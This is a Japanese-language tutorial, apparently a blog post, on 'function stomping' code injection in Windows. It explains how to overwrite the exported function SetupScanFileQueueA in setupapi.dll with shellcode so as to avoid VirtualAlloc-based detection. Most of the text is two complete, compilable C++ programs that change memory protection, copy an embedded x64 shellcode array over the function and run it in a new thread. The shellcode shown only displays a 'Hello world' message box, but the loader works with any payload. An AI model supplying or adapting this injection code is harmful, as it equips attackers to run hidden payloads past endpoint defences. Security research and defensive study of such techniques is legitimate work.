関数の改ざんによるコードインジェクション

  1. 概要 関数の改ざんによるコードインジェクションは、VirtualAlloc/Ex などの WinAPI 呼び出しを使用せずに、新しいコードで元の関数のバイトを置き換えることで、関数が異なるロジックを実行するようにすることができます。この技術では、踏み台となる関数のアドレスが必要です。

(1)ターゲット関数の選択 ローカルで関数のアドレスを取得するのは簡単ですが、どの関数を対象にするかが重要です。一般的な関数をオーバーライドすると、ペイロードの予期しない実行やプロセスのクラッシュにつながる可能性があります。したがって、ntdll.dllkernel32.dllkernelbase.dll のエクスポート関数はリスクが高いです。代わりに、頻繁に使用されない関数を選択すべきです。

(2)実装手順

  1. Setupapi.dllLoadLibraryA を使用してローカルプロセスメモリに読み込みます。

  2. 次に、GetProcAddress を使用して関数のアドレスを取得します。

  3. 関数を破壊し、ペイロードで置き換えます。そのためには、VirtualProtect を使用してそのメモリ領域を読み書き可能にマークします。

  4. 関数のアドレスにペイロードを書き込みます。

  5. 最後に、VirtualProtect を使用してその領域を実行可能(RX または RWX)にマークします。

  6. 実装コード 実装1:

#include <windows.h>
#include <iostream>
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"

unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";

int main() {
    HANDLE hThread = NULL;
    DWORD dwOldProtection = 0;

    HMODULE dllname = LoadLibraryA(SACRIFICIAL_DLL);
    PVOID pAddress = GetProcAddress(dllname, SACRIFICIAL_FUNC);
    printf("[+] 関数 \"%s\" のアドレス: 0x%p \n", SACRIFICIAL_FUNC, pAddress);
    printf("[#] <Enter> キーを押して \"%s\" をロード... ", SACRIFICIAL_DLL);
    getchar();
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
    memcpy(pAddress, shellcode, sizeof(shellcode));
    VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtection);
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, 0, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);
    printf("[#] <Enter> キーを押して終了... ");
    getchar();
}

実装2: 静的リンクライブラリをロードし、アドレス演算子を使用して目標関数のアドレスを直接取得することで、LoadLibraryAGetProcAddress を使用せずに関数のアドレスを取得できます。

#include <windows.h>
#include <setupapi.h>
#include <iostream>
#pragma comment (lib, "Setupapi.lib")

unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";

int main() {
    HANDLE hThread = NULL;
    DWORD dwOldProtection = 0;

    printf("[+] \"SetupScanFileQueueA\" のアドレス: 0x%p\n", &SetupScanFileQueueA);

    printf("[#] <Enter> キーを押して SetupScanFileQueueA をロード...");
    getchar();
    VirtualProtect(&SetupScanFileQueueA, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
    memcpy(&SetupScanFileQueueA, shellcode, sizeof(shellcode));
    VirtualProtect(&SetupScanFileQueueA, sizeof(shellcode), PAGE_EXECUTE_READ, &dwOldProtection);
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&SetupScanFileQueueA, NULL, 0, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);
    printf("[#] <Enter> キーを押して終了... ");
    getchar();
}

x64debugを使用してプログラムをロードし、Ctrl+GでSetupScanFileQueueA関数のアドレスを入力し、右クリックでメモリウィンドウに移動すると、元の関数内容がシェルコードに置き換わっていることが確認できます。

タグ: Windows API Code Injection x64dbg Shellcode Setupapi.dll

8月29日 03:03 投稿